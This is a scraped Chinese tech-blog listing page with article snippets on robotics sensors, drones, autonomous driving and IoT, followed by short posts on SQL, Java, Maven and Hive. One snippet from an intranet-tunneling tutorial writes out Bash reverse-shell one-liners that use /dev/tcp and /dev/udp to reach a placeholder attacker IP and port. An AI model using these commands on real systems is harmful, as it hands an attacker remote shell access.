- Xsens惯性动捕技术优化人型机器人AI训练流程
宋13810279720
动作捕捉机器人人工智能
人工智能与机器人技术的飞速发展让人型机器人逐渐从科幻概念转变为现实应用,成为未来智能生活的重要组成部分。为了实现人型机器人动作的精准与流畅,惯性动捕技术正逐步成为优化其AI训练流程的关键手段。惯性动捕技术是一种利用惯性传感器(如加速度计、陀螺仪等)捕捉人体运动数据的方法。相较于光学动捕技术,惯性动捕不受环境光线和空间限制,具有更高的便携性和灵活性。在人型机器人AI训练过程中,惯性动捕技术能够实时捕
- spiking neural network概念学习
Zaгathustra
科研工作深度学习神经网络机器学习
我们认为,SNNs最大的优势在于其能够充分利用基于时空事件的信息。今天,我们有相当成熟的神经形态传感器,来记录环境实时的动态改变。这些动态感官数据可以与SNNs的时间处理能力相结合,以实现超低能耗的计算。在此类传感器中使用SNNs主要受限于缺乏适当的训练算法,从而可以有效地利用尖峰神经元的时间信息。实际上就精度而言,在大多数学习任务中SNNs的效果仍落后于第二代的深度学习。很明显,尖峰神经元可以实
- 根据deepseek模型微调训练自动驾驶模型及数据集的思路
ywfwyht
自动驾驶深度学习人工智能自动驾驶人工智能机器学习
以下是使用DeepSeek模型微调训练自动驾驶模型的详细步骤和代码示例。本流程假设你已有自动驾驶领域的数据集(如驾驶指令、传感器数据等),并基于PyTorch框架实现。Step1:环境准备#安装依赖库pipinstalltorchtransformersdatasetsnumpypandasStep2:数据准备假设数据集格式为JSON,包含输入文本(传感器/场景描述)和输出控制指令://data/
- 仿生机器人核心技术与大小脑
天机️灵韵
人工智能具身智能硬件设备机器人人工智能具身智能
以下是针对仿生机器人核心技术的结构化总结,涵盖通用核心技术与**“大脑-小脑”专用架构**两大方向:一、机器人通用核心技术这些技术是仿生机器人实现功能的基础,与生物体的“身体能力”对应:1.感知与交互技术多模态传感器融合视觉:3D视觉(如RGB-D相机)、动态目标跟踪(如光流算法)。触觉:柔性电子皮肤、分布式压力传感器(模仿人类皮肤)。听觉:声源定位、噪声抑制(如麦克风阵列)。环境感知:激光雷达(
- STM32 是什么?同类产品有哪些
天机️灵韵
硬件设备物联网stm32单片机嵌入式硬件
STM32是什么?STM32是由意法半导体(STMicroelectronics)推出的基于ARMCortex-M内核的32位微控制器(MCU)系列。它专为高性能、低功耗的嵌入式应用设计,广泛应用于以下领域:工业控制(PLC、电机驱动)消费电子(智能家居、穿戴设备)物联网(传感器、通信模块)汽车电子(车载控制、CAN总线)医疗设备(便携式监测仪)。STM32提供丰富的产品线(如STM32F、STM
- 无人机编程实战第1讲——无人机简介
ouyanghuangxun
无人机编程实战无人机单片机嵌入式硬件c语言
目录前言一、飞控是什么?二、扫盲行动!!!1.微控制器2.传感器3.处理?4.无人机飞行姿态总结前言随着开源无人机飞行控制器的不断发展,越来越多优秀的代码与算法不断涌现,无人机领域的技术不断趋于成熟,也使得无人机领域的门槛一再降低,现在国内工科高校中,普遍都设有无人机实验室。对于无人机入门,网络上有太多的资料,只是这些资料重原理却轻代码,很多时候我们知道无人机的结构与飞行原理,却不知道怎么写代码让
- 农业土壤传感器可根据作物周期调整采集频率
百态老人
人工智能大数据算法
农业土壤传感器确实可以根据作物生长周期动态调整数据采集频率,这一功能主要通过先进的智能算法与传感器技术的深度融合实现。根据的描述,DeepSeek技术能够根据实际需求动态调整传感器的工作模式。例如,在农业物联网场景中,土壤传感器可以结合作物不同生长阶段的需求,灵活调节数据采集频率。这种动态调整不仅能保证监测数据的时效性,还能有效降低传感器能耗,延长电池寿命。具体来说,作物从萌芽期到成熟期对土壤参数
- 物联网(IoT)技术和各种传感器设备的集成:物联网在消费电子的创新
杭州大厂Java程序媛
DeepSeekR1&AI人工智能与大数据javapythonjavascriptkotlingolang架构人工智能
物联网(IoT)技术和各种传感器设备的集成:物联网在消费电子的创新关键词:物联网,传感器设备,集成技术,消费电子,创新应用1.背景介绍1.1问题由来物联网(IoT)技术的迅猛发展,正推动着消费电子行业的深刻变革。随着5G网络的普及和成本的进一步降低,各种物联网传感器设备不断涌现,极大地丰富了消费电子产品的功能和应用场景。然而,物联网传感器设备种类繁多,如何高效地将它们集成到消费电子产品中,成为当前
- 【课题推荐】基于自适应滤波技术的多传感器融合在无人机组合导航中的应用研究
MATLAB卡尔曼
课题推荐与讲解无人机
无人机组合导航系统在现代航空、农业、监测等领域的应用越来越广泛。为了提高导航精度,通常采用多传感器融合技术,将来自不同传感器的数据(如GPS、惯性测量单元(IMU)、磁力计等)进行整合。然而,传感器的量测偏差、环境干扰以及非线性特性使得多传感器融合面临诸多挑战。因此,开发一种自适应的多传感器融合方法,能够有效应对这些问题,对无人机导航系统的性能提升至关重要。文章目录研究目标创新点研究方法实现示例M
- 内网隧道代理技术(七)之Bash反弹shell
怰月
内网隧道代理技术bashlinux网络安全安全网络
Bash反弹shellBash介绍Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的ShellBash反弹Shell的命令如下:bash-i>&/dev/tcp/攻击机_IP/攻击机端口0>&1bash-i>&/dev/tcp/攻击机_IP/攻击机端口0>&2bash-i>&/dev/udp/攻击机_IP/攻击机端口0>&1bash-i>&/dev/udp/攻击
- 【人工智能在制造业的具体应用案例-质量控制】
局外人_Jia
深度学习大数据人工智能c#
首先,我需要明确质量控制的关键点。质量控制通常涉及产品检测、缺陷识别、数据分析等。可能用到的技术包括图像处理、机器学习模型、实时监控和数据收集等。我们已经了解预测性维护的步骤,所以需要类比但调整到质量控制上。比如数据采集可能不再是传感器数据,而是图像或视觉数据。需要思考如何用C#处理图像,是否有合适的库,比如OpenCV的.NET版本EmguCV。接下来,数据处理部分可能需要特征提取,比如从图像中
- 无线瘦AP部署——Capwap隧道原理及故障:Capwap隧道常见问题-11.X版本
你可知这世上再难遇我
锐捷网络网络capwap隧道wlan
目录1、capwap隧道建立不成功2、AP和AC的隧道无法建立--AC查看拒绝原因3、AC无法下发配置给AP4、AP和AC跨公网上线,同一个网点的AP,部分可以上线成功,部分无法上线成功。【故障现象】5、AC、AP版本相同,但却无法在AC上正常上线,卡在join状态6、AP掉线后在ac上还是长时间显示在线7、大部分AP无法上线成功,且已经上线的AP经常出现掉线情况,隧道状态反复8、AP故障无法建立
- 汽车ADAS
九阶码圣
汽车主业汽车
ADAS(高级驾驶辅助系统)是一系列旨在提升驾驶安全性和舒适性的技术,通过传感器和摄像头等设备实时监测车辆周围环境,提供预警和辅助功能。主要功能包括:自适应巡航控制(ACC):自动调整车速以保持与前车的安全距离。车道保持辅助系统(LKAS):帮助车辆保持在车道内,防止偏离。自动紧急制动(AEB):在可能发生碰撞时自动刹车。盲点监测(BSD):提醒驾驶员盲区内的车辆。交通标志识别(TSR):识别并显
- 紧急停止按钮为啥常闭
qq_34047402
PLC开发语言
急停开关使用常闭触点、伺服的正负限位一般用常闭传感器,原因如下:急停开关常闭触点原因有如下三点第一点:按常闭触点比按常开触点动作迅速。我们看下图,当按下按钮时,若是常闭触点,按下的一瞬间原本接触的触点就可以立即断开,从而立即动作;而常开触点则需要过一段时间等上触点到达下方与下触点接触之后才能动作,显然使用常闭触点比使用常开触点动作灵敏,而急停按钮的使用场景是紧急情况,因此能快速动作当然更好。第二点
- Windows系统部署Node.js结合内网穿透实现远程访问本地服务
码农阿豪@新空间
好“物”分享windowsnode.js
文章目录前言1.安装Node.js环境2.创建Node.js应用3.公网访问Node.js服务3.1注册cpolar账号3.2下载cpolar客户端3.3创建隧道映射本地端口4.固定公网远程地址前言本文主要介绍如何在Windows系统本地安装Node.js环境并创建应用,并结合cpolar内网穿透工具发布公网实现远程访问本地服务详细流程。Node.js是建立在谷歌Chrome的JavaScript
- 物联网智能项目:智能家居系统的设计与实现
风亦辰739
物联网智能家居
物联网(InternetofThings,IoT)技术正在迅速改变我们的生活方式,特别是在智能家居、工业自动化、环境监控等领域。物联网智能项目通过将设备、传感器、控制器等通过互联网连接,实现设备间的智能交互,带来高效、便捷和智能的体验。本文将介绍一个典型的物联网智能家居项目的设计与实现,涵盖了硬件选择、通信协议、系统架构等方面。一、项目背景随着智能设备的普及,越来越多的家庭开始引入智能家居系统。这
- 基于OpenCV的单目测距
_老码
项目实战opencv人工智能计算机视觉
随着计算机视觉技术的发展,单目测距作为一种重要的视觉测量手段,在众多领域得到了广泛的应用。本文将探讨基于OpenCV的单目测距原理、局限性、实际应用场景以及一些优化方案。单目测距的原理单目测距是指利用一台摄像机拍摄到的单一图像来进行距离测量的技术。与双目测距相比,单目测距不需要复杂的立体匹配算法,因此具有计算量小、实现简单的特点。然而,单目测距也面临着许多挑战,如尺度模糊性、深度信息缺乏等问题。单
- 水下 SLAM 定位模组的设计与实现
赵谨言
论文经验分享毕业设计笔记
标题:水下SLAM定位模组的设计与实现内容:1.摘要摘要:本文介绍了水下SLAM定位模组的设计与实现。首先,对水下定位技术的背景和需求进行了分析。然后,详细阐述了模组的设计思路和关键技术,包括传感器选型、数据融合算法等。接着,介绍了模组的实现过程和实验结果,通过实际测试验证了模组的性能和可靠性。最后,对未来的研究方向进行了展望。关键词:水下SLAM;定位模组;传感器;数据融合2.引言2.1.研究背
- 《手札·开源篇》Odoo系统与SKF Observer Phoenix API双向对接方案
邹工转型手札
企业信息化风吟九宵开源开源python制造
Odoo系统与SKFObserverPhoenixAPI双向对接方案一、方案设计概述(一)目标实现Odoo设备维护模块与SKFObserverPhoenix的传感器数据双向同步:Odoo→SKF:推送维护工单状态、设备档案信息。SKF→Odoo:同步设备传感器数据(振动、温度、转速等)和预测性维护建议。(二)技术架构Odoo端:使用XML-RPC/JSON-RPC接口对外暴露API,并通过自定义模
- 相机模数转换
xiangxiang-
数码相机计算机视觉人工智能
模拟图像是什么?模拟图像是指连续变化的图像,它通常来源于现实世界的物理场景,并通过光学系统(如相机镜头)投射到感光介质上。模拟图像是连续的,这意味着它在空间和颜色值上都有无穷的细节。例如,模拟图像中的亮度和色彩信息随着位置的变化而变化,并且没有离散化。在拍摄照片时,模拟图像通常指的是通过相机感光元件(如CCD或CMOS传感器)捕获的光学图像,这些图像反映了场景中的光强度、颜色、纹理等细节信息。传感
- 工业智能网关如何高效、安全地实现车间数据的采集?
天拓四方_bjttsf
物联网边缘计算
工业智能网关集成了数据采集、处理、传输和存储等功能,能够连接并管理多种生产设备、传感器和控制系统。它不仅实现了设备间的互联互通,还通过高效的数据采集、处理和传输,为企业的智能化管理和决策提供了强有力的支持。随着工业4.0时代的到来,智能制造成为制造业转型升级的重要方向。其中,工业智能网关作为连接物理世界与数字世界的桥梁,在车间数据采集方面发挥着至关重要的作用。车间数据采集的多元途径1、直接连接生产
- 国标GB28181-2022平台EasyGBS视频监控技术科普:如何测量安防摄像头的宽动态数值?
EasyGBS
音视频GB28181安全视频监控
安防摄像头中的宽动态技术(WDR)的核心在于扩大摄像机的动态范围,即从最低亮度到最高亮度的变化范围,以适应不同光照条件下的拍摄需求。这一技术通过优化曝光和算法处理,有效解决了光线反差问题,提高了图像的清晰度和稳定性。在安防监控领域,宽动态技术的应用场景非常广泛。例如,在室内外光线反差较大的环境中,如银行大堂、隧道路口、停车场等,宽动态摄像机能显著提升逆光环境下的拍摄效果,使光线强弱区域都能清晰呈现
- 联核CDD20堆高型无人AGV叉车产品介绍/参数/优势/应用场景
m0_66581510
科技机器人人工智能大数据
产品介绍联核科技推出的CDD20堆高型无人叉车,是一款专为堆垛作业设计的基于反光板导航的无人激光叉车AGV。该产品配备了源自德国的SICK品牌高精度激光导航雷达,确保了精准定位与方向控制能力。它能够有效解决工厂环境中长距离、高密度存储以及灵活搬运等复杂物流挑战,特别适用于单面托盘、川字托盘及其类似形态物料的智能化搬运作业。无论是仓储管理还是生产线物料配送,CDD20AGV无人叉车都能提供高效、可靠
- 自动驾驶软件:Tesla Autopilot二次开发_18.未来趋势与发展方向
zhubeibei168
电动汽车自动驾驶opencv人工智能电动汽车
18.未来趋势与发展方向未来的自动驾驶技术将不断演进,特斯拉的Autopilot系统作为行业领先的技术,也在不断地进行改进和创新。本节将探讨自动驾驶软件领域的未来趋势与发展方向,包括技术进步、法规变化、市场接受度和用户体验等方面。我们将结合特斯拉Autopilot的最新进展,分析未来可能出现的技术和应用。18.1技术进步18.1.1传感器技术的改进传感器是自动驾驶系统的关键组件,未来的传感器技术将
- 华为 ADS 3.0 与特斯拉 FSD V12:自动驾驶技术的巅峰对决与未来展望
中科宁图
华为自动驾驶人工智能
一、华为ADS3.0:多传感器融合的卓越代表(一)硬件与技术特色华为ADS3.0智能驾驶系统构建了全面的全息感知体系,融合激光雷达、高清摄像头、毫米波雷达、超声波传感器等多种设备。激光雷达实现环境三维重建和精确测距,在恶劣条件下仍能准确捕捉物体信息;高分辨率摄像头获取视觉信息;毫米波雷达在极端天气下强化对移动物体探测;超声波传感器辅助近距离障碍物检测。GOD网络融合处理多传感器数据,为决策提供坚实
- 自动驾驶感知系统配置分析——以“8摄像头+1毫米波雷达+12超声波雷达”为例
空间机器人
自动驾驶人工智能机器学习
自动驾驶感知系统配置分析——以“8摄像头+1毫米波雷达+12超声波雷达”为例1.引言自动驾驶系统依赖于传感器来感知周围环境,并基于此做出实时决策。不同类型的传感器各自有不同的特性,能够应对不同的场景和环境条件。摄像头、毫米波雷达、超声波雷达的组合能够在视觉、距离、速度和障碍物感知等方面提供全面的支持。本章节将详细介绍“8摄像头+1毫米波雷达+12超声波雷达”配置的设计思路、优势、各传感器的参数,以
- 红外皮秒激光器:开启超快激光技术新时代
QYR_11
市场调研
在现代工业和科研领域,红外皮秒激光器以其卓越的性能和广泛的应用前景,正逐渐成为市场的新宠。作为一种先进的激光技术,红外皮秒激光器通过极短的脉冲宽度和高峰值功率,实现了对材料的高精度加工和处理,其市场增长潜力巨大,预计在未来几年内将实现显著的市场扩展。红外皮秒激光器的重要性及其市场增长趋势红外皮秒激光器是一种利用红外光谱范围内的激光进行皮秒级脉冲发射的设备。与传统的纳秒激光相比,皮秒激光具有更短的脉
- 紫外纳秒风冷激光器市场:增长潜力与技术创新并驱的深度剖析
QYR_11
市场研究
在高科技日新月异的今天,紫外纳秒风冷激光器作为激光技术的前沿代表,正以其独特的优势和广泛的应用领域,引领着市场的新一轮增长浪潮。本文将深入探讨紫外纳秒风冷激光器的重要性、市场增长趋势、显著优势、全球市场规模、主要市场参与者、地区市场特点以及未来发展机遇与挑战,为您揭示这一领域的无限可能。一、市场增长趋势:科技浪潮中的璀璨新星紫外纳秒风冷激光器,以其高能量密度、短脉冲宽度和优异的冷却性能,在材料加工
- 分布式光纤传感器行业:市场潜力巨大,技术革新引领未来
QYR_11
分布式
引言:市场增长背后的技术革命分布式光纤传感器,以其独特的传感机制和高灵敏度的监测能力,正迅速成为众多行业不可或缺的监测工具。随着智慧城市、物联网(IoT)以及能源安全需求的日益增长,分布式光纤传感器市场展现出前所未有的增长潜力。本文将深入探讨分布式光纤传感器的重要性、市场趋势、显著优势、全球市场规模、主要市场参与者、地区市场特点,以及未来的发展机遇与挑战。分布式光纤传感器的重要性与市场增长趋势分布
- 上下文扩展技术-详细解释Longformer和BigBird的主要创新;详细说明bert原理,并说一说他的上下文限制是怎么来的
AI生成曾小健
人工智能
答案LongformerLongformer是为有效处理长文本序列而设计的Transformer模型,它通过结合滑动窗口注意力机制和扩张注意力模式来捕捉局部和远距离的上下文信息,并通过全局注意力来捕捉整个文档的广泛背景和联系1.Keyinnovations:滑动窗口注意力Longformer使用滑动窗口方法处理本地上下文信息1.扩张注意力模式扩张注意力模式能够捕捉到远处的上下文信息,这对于处理冗长
- SQL的各种连接查询
xieke90
UNION ALLUNION外连接内连接JOIN
一、内连接
概念:内连接就是使用比较运算符根据每个表共有的列的值匹配两个表中的行。
内连接(join 或者inner join )
SQL语法:
select * fron
- java编程思想--复用类
百合不是茶
java继承代理组合final类
复用类看着标题都不知道是什么,再加上java编程思想翻译的比价难懂,所以知道现在才看这本软件界的奇书
一:组合语法:就是将对象的引用放到新类中即可
代码:
package com.wj.reuse;
/**
*
* @author Administrator 组
- [开源与生态系统]国产CPU的生态系统
comsci
cpu
计算机要从娃娃抓起...而孩子最喜欢玩游戏....
要让国产CPU在国内市场形成自己的生态系统和产业链,国家和企业就不能够忘记游戏这个非常关键的环节....
投入一些资金和资源,人力和政策,让游
- JVM内存区域划分Eden Space、Survivor Space、Tenured Gen,Perm Gen解释
商人shang
jvm内存
jvm区域总体分两类,heap区和非heap区。heap区又分:Eden Space(伊甸园)、Survivor Space(幸存者区)、Tenured Gen(老年代-养老区)。 非heap区又分:Code Cache(代码缓存区)、Perm Gen(永久代)、Jvm Stack(java虚拟机栈)、Local Method Statck(本地方法栈)。
HotSpot虚拟机GC算法采用分代收
- 页面上调用 QQ
oloz
qq
<A href="tencent://message/?uin=707321921&Site=有事Q我&Menu=yes">
<img style="border:0px;" src=http://wpa.qq.com/pa?p=1:707321921:1></a>
- 一些问题
文强chu
问题
1.eclipse 导出 doc 出现“The Javadoc command does not exist.” javadoc command 选择 jdk/bin/javadoc.exe 2.tomcate 配置 web 项目 .....
SQL:3.mysql * 必须得放前面 否则 select&nbs
- 生活没有安全感
小桔子
生活孤独安全感
圈子好小,身边朋友没几个,交心的更是少之又少。在深圳,除了男朋友,没几个亲密的人。不知不觉男朋友成了唯一的依靠,毫不夸张的说,业余生活的全部。现在感情好,也很幸福的。但是说不准难免人心会变嘛,不发生什么大家都乐融融,发生什么很难处理。我想说如果不幸被分手(无论原因如何),生活难免变化很大,在深圳,我没交心的朋友。明
- php 基础语法
aichenglong
php 基本语法
1 .1 php变量必须以$开头
<?php
$a=” b”;
echo
?>
1 .2 php基本数据库类型 Integer float/double Boolean string
1 .3 复合数据类型 数组array和对象 object
1 .4 特殊数据类型 null 资源类型(resource) $co
- mybatis tools 配置详解
AILIKES
mybatis
MyBatis Generator中文文档
MyBatis Generator中文文档地址:
http://generator.sturgeon.mopaas.com/
该中文文档由于尽可能和原文内容一致,所以有些地方如果不熟悉,看中文版的文档的也会有一定的障碍,所以本章根据该中文文档以及实际应用,使用通俗的语言来讲解详细的配置。
本文使用Markdown进行编辑,但是博客显示效
- 继承与多态的探讨
百合不是茶
JAVA面向对象 继承 对象
继承 extends 多态
继承是面向对象最经常使用的特征之一:继承语法是通过继承发、基类的域和方法 //继承就是从现有的类中生成一个新的类,这个新类拥有现有类的所有extends是使用继承的关键字:
在A类中定义属性和方法;
class A{
//定义属性
int age;
//定义方法
public void go
- JS的undefined与null的实例
bijian1013
JavaScriptJavaScript
<form name="theform" id="theform">
</form>
<script language="javascript">
var a
alert(typeof(b)); //这里提示undefined
if(theform.datas
- TDD实践(一)
bijian1013
java敏捷TDD
一.TDD概述
TDD:测试驱动开发,它的基本思想就是在开发功能代码之前,先编写测试代码。也就是说在明确要开发某个功能后,首先思考如何对这个功能进行测试,并完成测试代码的编写,然后编写相关的代码满足这些测试用例。然后循环进行添加其他功能,直到完全部功能的开发。
- [Maven学习笔记十]Maven Profile与资源文件过滤器
bit1129
maven
什么是Maven Profile
Maven Profile的含义是针对编译打包环境和编译打包目的配置定制,可以在不同的环境上选择相应的配置,例如DB信息,可以根据是为开发环境编译打包,还是为生产环境编译打包,动态的选择正确的DB配置信息
Profile的激活机制
1.Profile可以手工激活,比如在Intellij Idea的Maven Project视图中可以选择一个P
- 【Hive八】Hive用户自定义生成表函数(UDTF)
bit1129
hive
1. 什么是UDTF
UDTF,是User Defined Table-Generating Functions,一眼看上去,貌似是用户自定义生成表函数,这个生成表不应该理解为生成了一个HQL Table, 貌似更应该理解为生成了类似关系表的二维行数据集
2. 如何实现UDTF
继承org.apache.hadoop.hive.ql.udf.generic
- tfs restful api 加auth 2.0认计
ronin47
目前思考如何给tfs的ngx-tfs api增加安全性。有如下两点:
一是基于客户端的ip设置。这个比较容易实现。
二是基于OAuth2.0认证,这个需要lua,实现起来相对于一来说,有些难度。
现在重点介绍第二种方法实现思路。
前言:我们使用Nginx的Lua中间件建立了OAuth2认证和授权层。如果你也有此打算,阅读下面的文档,实现自动化并获得收益。SeatGe
- jdk环境变量配置
byalias
javajdk
进行java开发,首先要安装jdk,安装了jdk后还要进行环境变量配置:
1、下载jdk(http://java.sun.com/javase/downloads/index.jsp),我下载的版本是:jdk-7u79-windows-x64.exe
2、安装jdk-7u79-windows-x64.exe
3、配置环境变量:右击"计算机"-->&quo
- 《代码大全》表驱动法-Table Driven Approach-2
bylijinnan
java
package com.ljn.base;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Collections;
import java.uti
- SQL 数值四舍五入 小数点后保留2位
chicony
四舍五入
1.round() 函数是四舍五入用,第一个参数是我们要被操作的数据,第二个参数是设置我们四舍五入之后小数点后显示几位。
2.numeric 函数的2个参数,第一个表示数据长度,第二个参数表示小数点后位数。
例如:
select cast(round(12.5,2) as numeric(5,2))  
- c++运算符重载
CrazyMizzz
C++
一、加+,减-,乘*,除/ 的运算符重载
Rational operator*(const Rational &x) const{
return Rational(x.a * this->a);
}
在这里只写乘法的,加减除的写法类似
二、<<输出,>>输入的运算符重载
&nb
- hive DDL语法汇总
daizj
hive修改列DDL修改表
hive DDL语法汇总
1、对表重命名
hive> ALTER TABLE table_name RENAME TO new_table_name;
2、修改表备注
hive> ALTER TABLE table_name SET TBLPROPERTIES ('comment' = new_comm
- jbox使用说明
dcj3sjt126com
Web
参考网址:http://www.kudystudio.com/jbox/jbox-demo.html jBox v2.3 beta [
点击下载]
技术交流QQGroup:172543951 100521167
[2011-11-11] jBox v2.3 正式版
- [调整&修复] IE6下有iframe或页面有active、applet控件
- UISegmentedControl 开发笔记
dcj3sjt126com
// typedef NS_ENUM(NSInteger, UISegmentedControlStyle) {
// UISegmentedControlStylePlain, // large plain
&
- Slick生成表映射文件
ekian
scala
Scala添加SLICK进行数据库操作,需在sbt文件上添加slick-codegen包
"com.typesafe.slick" %% "slick-codegen" % slickVersion
因为我是连接SQL Server数据库,还需添加slick-extensions,jtds包
"com.typesa
- ES-TEST
gengzg
test
package com.MarkNum;
import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.annotation
- 为何外键不再推荐使用
hugh.wang
mysqlDB
表的关联,是一种逻辑关系,并不需要进行物理上的“硬关联”,而且你所期望的关联,其实只是其数据上存在一定的联系而已,而这种联系实际上是在设计之初就定义好的固有逻辑。
在业务代码中实现的时候,只要按照设计之初的这种固有关联逻辑来处理数据即可,并不需要在数据库层面进行“硬关联”,因为在数据库层面通过使用外键的方式进行“硬关联”,会带来很多额外的资源消耗来进行一致性和完整性校验,即使很多时候我们并不
- 领域驱动设计
julyflame
VODAO设计模式DTOpo
概念:
VO(View Object):视图对象,用于展示层,它的作用是把某个指定页面(或组件)的所有数据封装起来。
DTO(Data Transfer Object):数据传输对象,这个概念来源于J2EE的设计模式,原来的目的是为了EJB的分布式应用提供粗粒度的数据实体,以减少分布式调用的次数,从而提高分布式调用的性能和降低网络负载,但在这里,我泛指用于展示层与服务层之间的数据传输对
- 单例设计模式
hm4123660
javaSingleton单例设计模式懒汉式饿汉式
单例模式是一种常用的软件设计模式。在它的核心结构中只包含一个被称为单例类的特殊类。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问,从而方便对实例个数的控制并节约系统源。如果希望在系统中某个类的对象只能存在一个,单例模式是最好的解决方案。
&nb
- logback
zhb8015
loglogback
一、logback的介绍
Logback是由log4j创始人设计的又一个开源日志组件。logback当前分成三个模块:logback-core,logback- classic和logback-access。logback-core是其它两个模块的基础模块。logback-classic是log4j的一个 改良版本。此外logback-class
- 整合Kafka到Spark Streaming——代码示例和挑战
Stark_Summer
sparkstormzookeeperPARALLELISMprocessing
作者Michael G. Noll是瑞士的一位工程师和研究员,效力于Verisign,是Verisign实验室的大规模数据分析基础设施(基础Hadoop)的技术主管。本文,Michael详细的演示了如何将Kafka整合到Spark Streaming中。 期间, Michael还提到了将Kafka整合到 Spark Streaming中的一些现状,非常值得阅读,虽然有一些信息在Spark 1.2版
- spring-master-slave-commondao
王新春
DAOspringdataSourceslavemaster
互联网的web项目,都有个特点:请求的并发量高,其中请求最耗时的db操作,又是系统优化的重中之重。
为此,往往搭建 db的 一主多从库的 数据库架构。作为web的DAO层,要保证针对主库进行写操作,对多个从库进行读操作。当然在一些请求中,为了避免主从复制的延迟导致的数据不一致性,部分的读操作也要到主库上。(这种需求一般通过业务垂直分开,比如下单业务的代码所部署的机器,读去应该也要从主库读取数